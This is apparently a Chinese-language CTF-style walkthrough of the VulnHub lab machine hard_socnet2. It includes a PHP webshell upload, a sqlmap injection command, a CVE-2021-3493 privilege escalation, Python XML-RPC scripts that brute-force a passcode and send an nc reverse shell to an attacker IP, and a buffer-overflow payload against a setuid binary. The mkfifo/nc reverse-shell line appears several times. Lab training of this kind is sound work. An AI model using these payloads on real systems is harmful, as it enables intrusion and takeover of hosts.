这个靶机的难度很高。慢慢摸索,接触新知识。
首先这个靶机是2020 年的,我们如今2022年,2021出现了新的内核漏洞,CVE-2021-3493,我们这里可以利用,也成功了,但是,如果我们就在2020做此靶机怎么办呢?这里分享了两种打靶思路。
https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
靶场链接:链接:https://pan.baidu.com/s/1HaAn_3cF-vFCgnoQ1IC75Q
提取码:ifat
方法1:
1.主机发现
arp-scan -l
2.端口扫描
3.漏洞利用
显示的是不支持GET请求,那就去抓包重发尝试:OPTIONS,POST,PUT,DELETE,返回的都是500报错。没有思路了。访问80端口:一个登录框。登录需要正确的电子邮箱,显然爆破很难,但是提供了注册,那么就注册。登陆后这样的界面(不建议大家尝试XSS漏洞,可能会被烦到)
知道了存在python脚本,那么存在python的运行环境
个人中心存在上传点:
直接尝试上传php一句话木马。上传成功直接拉图片能看到图片地址,蚁剑连接就行,可以打开虚拟终端。
还有一个漏洞,面对网站的搜索栏,尝试输入点,直接出来了sql的回显,直接上sqlmap梭哈:
python sqlmap.py -u "http://192.168.56.104/search.php?location=emails&query=1"
拿密码去登录:登陆上但是没有任何用。SQL注入得到的密码可以保留。可能用得到。
4.提权
查看系统版本: lsb_release -a
直接拿最新漏洞去尝试,这里找文件半天,就是不想去网上直接下载。。。这是在kali的位置
find / -name "CVE-2021-3493" 2>/dev/null
/usr/share/metasploit-framework/data/exploits/CVE-2021-3493
GitHub下载地址:GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc
上传文件:
虚拟终端操作一下:这里出来了bash-4.4# 他应该是成功了,但是不知道为什么被关闭了。可能是蚁剑的功能不够齐全。
nc 反弹shell试试:没有nc的参数,这里可以使用nc串联。
推荐大家看下这个博客,很详细的内容反弹Shell原理及检测技术研究 - 郑瀚Andrew.Hann - 博客园
这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 3344 >/tmp/f
反弹shell后在执行exp:
另外一种方法:
回到www权限,再寻找线索。cat /etc/passwd
cd /home
cd socnet
ls -l 发现monitor.py 和网站内容提到的一致,具有监视服务器的作用
并且文字说明已经运行了,
ps aux | grep monitor 查看一下
这里的文件有个peda 它是动态调试,可能存在溢出漏洞,比如说:缓冲区溢出,堆溢出,是GDB的一种插件
作用有:增强gdb的显示:在调试过程中着色并显示反汇编代码,寄存器和内存信息。增强GDB调试能力
分析源码,获得用户shell
查看monitor.py的源码:直接分析代码,下面链接介绍了XMLRPC的作用
#my remote server management API
import SimpleXMLRPCServer --引入的服务
import subprocess
import random --随机数
debugging_pass = random.randint(1000,9999) --随机生成1000-9999
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
**def secure_cmd(cmd,passcode): -- 定义secure_cmd函数,调用了cmd和passcode
if passcode==debugging_pass: --注意这里,是否等于之前那个1000-9999随机数
return runcmd(cmd)
else:
return "Wrong passcode."**
**server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
导致之前对目标靶机web访问请求方式的失败原因,只接受xml_rpc方式。**
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
xml-rpc在服务器端中生成一个API接口,这样服务端就可以接受来自装有xml-rpc客户端的请求方式,来提供应用交互。这里是他的介绍
构造出一个客户端代码:目的是爆破出debugpass
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
for i in range(1000,10000):
r = str(proxy.secure_cmd('whoami',i)) #执行secure_cmd这函数,
if not "Wrong" in r:
print(p)
print(r)
break;
破解出了一个随机的4位数,当目标系统执行7258的数值,就会成功执行whoami的这条命令--返回的目标靶机的当前用户名,将这个7258这个值复制下来
然后利用这个值去执行cmd命令。别忘记kali 的监听:构造代码执行cmd,执行成功获得shell,这是socnet用户的shell
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4455 >/tmp/f"
r = str(proxy.secure_cmd(cmd,7258))
print(r)
简化版本代码
import xmlrpc.client
import random
while True:
word = random.randint(1000,9999)
with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
res = str(proxy.secure_cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4455 >/tmp/f',word))
缓冲区溢出漏洞利用
web漏洞原理:都是通过输入数据等,从而使服务器程序在处理的时候出现异常情况。
那么对add_record程序的漏洞发现利用。看看文件类型:ELF文件格式可以理解成类似windows下PE的文件格式
经过 ls -l判断 add_record 文件存在root权限使用。
测试完使用方法后:使用gdb可以知道程序的使用的具体信息
gdb -q ./add_record peda是其脚本
输入r 程序运行
**这里的测试方法:**主要是对每一项输入大量的字母,AAAAAAAA,监视内存的变化。测试思路:大量数据测试缓冲区溢出的漏洞
使用脚本输出要测试的数值:python -c "print('A' * 500)"
就这样尝试,发现在备注的地方出现了溢出问题。之后的思路:找到出现溢出的位置,在该位置处输入自己的payload,反弹shell,获得权限。
请初学者尤为注意EIP寄存器(保存了CPU运行下一条指定放置的内存编号)。
100个A依旧会溢出,那么采用gdb的调试器生成特征字符。
pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
找到了之后看着很麻烦,使用gdb的功能
pattern search #看到了是62以后的溢出
EIP这里的数字0x41414141,代表的就是X,是ascii码的X
之后查看add程序的主程序加载信息
这就需要汇编的基础了:简单了解就是一个程序在执行中,CPU会给其分配很多内存地址,内存地址中携带了很多指令,程序的处理等,最后再将运算结果输出。
根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。
fopen@plt(被调用的一个系统函数)是猜测是打开文本文件的意思
put,其作用是输出,配合Printf内建函数进行打印输出。
一步一步分析:
fopen@plt 应该是打开文件把东西保存进去
printf@plt 把文件写入
那就使用断点功能判断一下功能都是什么
**断点调试:选中前面的内存地址,赋值
break * 内存地址
run
s 单步向前只进行对一个cpu的指令
**然后del 1 删除这个断点信息。再重复尝试
继续往后看:发现了vuln
执行info func:查看程序的内建函数,存在system和setuid,vuln,backdoor
执行disas vuln:具体查看函数,发现了strcpy函数,这里可能存在漏洞。直接搜索。
分析后漏洞利用(原理)
分析到这里,我们已经想好了具体的思路:vuln必定会执行,而且vuln存在有缓冲区漏洞的内件(strcpy),主函数没有直接调用backdoor,,所以利用这个缓冲区溢出漏洞,向EIP寄存器里写入backdoor函数的起始内存加载地址。。从而通过漏洞执行backdoor函数,利用backdoor会调用setuid以及system,;进而执行system函数的操作系统的命令。
分析地址问题:发现了内存地址十六进制数据的规律,他是ascii编码,但是倒着写了。CPU架构(大头,小头导致的)。所以我们构造的代码需要倒着写才能执行。
backdoor的起始地址:0x08048676
python -c "import struct; print('mnb\n1\n1\n1\n' +'A'*62+str( struct.pack('I',0x08048676)))">payload
小插曲:本地测试代码执行报错:TypeError: can only concatenate str (not "bytes") to str
通过struct.pack后的格式是unsigned char,两边字符的格式不一致,导致不能用“+”进行拼接。解决方法:1、将 struct.pack(‘B’, s)替换为str(struct.pack(‘B’, s)),完成字符串拼接
在靶机的shell中输入命令,
先退出gdb,按下q即可:
执行python命令
进入gdb -q ./add_record
r < pauload 然后可以看到新增了几个进程
定位,设断点看原理:
然后定位vuln的运行break vuln
r < payload
单步s跟进
重点关注堆栈和寄存器里的值
需要多次单步跟进s ,直到在堆栈中发现backdoor函数,调用了setuid
直到下图能看到system函数被调用。
最后,利用payload来触发漏洞,返回root权限
cat payload - | ./add_record payload - | #这里的 - 代表所有数据 | 把所有数据带到程序执行
最后就是root权限,还是可以nc反弹shell。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.208 3031 >/tmp/f